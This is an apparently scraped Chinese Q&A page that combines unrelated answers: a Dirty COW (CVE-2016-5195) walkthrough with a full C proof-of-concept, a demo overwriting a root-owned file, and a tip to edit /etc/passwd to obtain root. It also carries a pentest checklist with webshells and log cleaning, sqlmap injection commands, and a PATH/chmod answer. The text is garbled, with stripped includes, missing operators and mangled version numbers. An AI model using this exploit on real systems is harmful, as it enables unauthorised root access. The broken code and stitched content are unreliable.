linux内核通杀提权漏洞怎么验证

linux内核通杀提权漏洞怎么验证,第1张

Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。漏洞危害:低权限用户可以利用该漏洞修改只读内存,进而执行任意代码获取 root 权限。影响范围:该漏洞影响所有 Linux Kernel >= 2622 的版本。2622 是 2007 年发布的版本,也就是说这个漏洞几乎影响 2007 以后的所有版本。漏洞测试:读取 /proc/version 来获取 LinuxKernel 版本:
➜ ~ cat /proc/version
Linuxversion 440-42-generic(buildd@lgw01-13) (gcc version 540 20160609 (Ubuntu 540-6ubuntu1~16042) )#62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 2016440 版本的Kernel,看样子是受影响的,github 上给出了如下的 POC:
#include
#include
#include
#include
#include
void map;
int f;
structstat st;
charname;
voidmadviseThread(void arg) {
char str;
str = (char )arg;
int i, c = 0;
for (i = 0; i 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n", c);
}
voidprocselfmemThread(void arg) {
char str;
str = (char )arg;
int f = open("/proc/self/mem",O_RDWR);
int i, c = 0;
for (i = 0; i 100000000; i++) {
lseek(f, map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n", c);
}
intmain(int argc, char argv[]) {
if (argc 3)
return 1;
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, stst_size, PROT_READ,MAP_PRIVATE, f, 0);
printf("mmap %x\n", map);
pthread_create(&pth1, NULL,madviseThread, argv[1]);
pthread_create(&pth2, NULL,procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}这个 POC 可以利用该漏洞修改任意文件内容,看下面的测试:
➜ /tmp gcc ac -lpthread
ac: Infunction ‘procselfmemThread’:
ac:28:5:warning: implicit declaration of function ‘lseek’[-Wimplicit-function-declaration]
lseek(f, map, SEEK_SET);
ac:29:10:warning: implicit declaration of function ‘write’[-Wimplicit-function-declaration]
c += write(f, str, strlen(str));
ac: Infunction ‘main’:
ac:39:3:warning: implicit declaration of function ‘fstat’[-Wimplicit-function-declaration]
fstat(f, &st);调用 gcc 编译这个 payload,报了几个 warning,但还是编译成功了。
➜ /tmp su root -c 'echo 0000 > test'
Password:
➜ /tmp ls -al test
-rw-r--r--1 root root 5 Oct 16 23:52 test使用 root 权限创建一个其他用户只读的 test 文件,权限为 644,内容为 0000。
➜ /tmp id
uid=1000(Monster) gid=1000(monster) groups=1000(monster)
➜ /tmp /aout test 1111
mmap61222000
madvise 0
procselfmem400000000使用当前用户调用编译出的 aout 程序把 test 文件的内容修改为 1111,经过漫长的等待以后程序终于执行完成。
➜ /tmp cat test
1111可以看到结果,test 文件的内容已经被成功修改。
这样的话,只要修改 /etc/passwd 把当前用户的 uid 改成 0 就可以作为 root 登录了。
修复方案:
更新最新 Linux Kernel 源码,并重新编译。 各大发行版也已经更新 Kernel,也可直接升级最新版本。

信息收集

1,获取域名的whois信息,获取注册者邮箱姓名电话等。

2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。

3,查看服务器 *** 作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞

4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如rsync,心脏出血,mysql,ftp,ssh弱口令等。

5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针

6,googlehack进一步探测网站的信息,后台,敏感文件

漏洞扫描

开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等

漏洞利用

利用以上的方式拿到webshell,或者其他权限

权限提升

提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞

linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysqlsystem提权以及oracle低权限提权

日志清理

总结报告及修复方案

sqlmap,怎么对一个注入点注入?

1)如果是get型号,直接,sqlmap-u"诸如点网址"

2)如果是post型诸如点,可以sqlmap-u"注入点网址”--data="post的参数"

3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap-r"文件地址"

nmap,扫描的几种方式

sql注入的几种类型?

1)报错注入

2)bool型注入

3)延时注入

4)宽字节注入

在gnome之类的桌面环境中,root是不允许登陆的,如果想登陆root的话,可以进入恢复模式,默认登陆的就是root。
在gnome下,如果想暂时的提权 *** 作,ubuntu下可以使用sudo命令,别的linux版本下也有相应的提权命令。
不允许root登陆是为了系统安全考虑,不然一个 *** 作不当,就会对系统造成毁灭性打击。

发布版本:Red Hat Enterprise Linux Server release 66 (Santiago)
内核版本:Linux 2632-504el6x86_64 #1 SMP Tue Sep 16 01:56:35 EDT 2014 x86_64 x86_64 x86_64 GNU/Linux
提取漏洞:CVE-2016-5195 Dirty COW
提权脚本:Marion001c
编译命令:gcc -pthread Marion001c -o Marion001 -lcrypt
参考连接: >单独敲命令进去
shell
默认是自系统的环境变量path所指定的目录寻找可执行程序的,所以执行不了的原因如果去除你的文件编辑不对(比如有可能存在全角半角字符集之类的问题)或增加权限不对之类原因的话就是你的sh文件不再path指定的目录里得原因。比如启动的init文件都是可执行,但不在path,所以你不会直接敲名字就能直接执行那文件,如果能执行系统得有多少命令啊。

引自景1修改
$
chmod
+x
whogrepsh
$
/whogrep

上面命令如果能执行说明你文件没问题,但是得总是输入你sh文件所在目录。
如果你是想重复使用这命令的话,方式有两个:
1将你sh文件所在目录加到path目录里。具体参考export
命令,注意一般是是root下
export
path=$path;你的文件目录,
这样里面"path=$path:"
是不可缺少的,不然会清空你系统本来的path只剩下你的sh所在文件目录。
这个方式重启path会还原,想重启不消失要编辑/etc/profile
(所有用户有效)
文件或~/bashrc当前用户有效)
文件,具体方式可检索。其他方式不提了,有兴趣可详查
2在你path设置的一个目录里设置个sh文件的链接。
具体查看
ln命令帮助。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/13329598.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-07-16
下一篇 2023-07-16

发表评论

登录后才能评论

评论列表(0条)

保存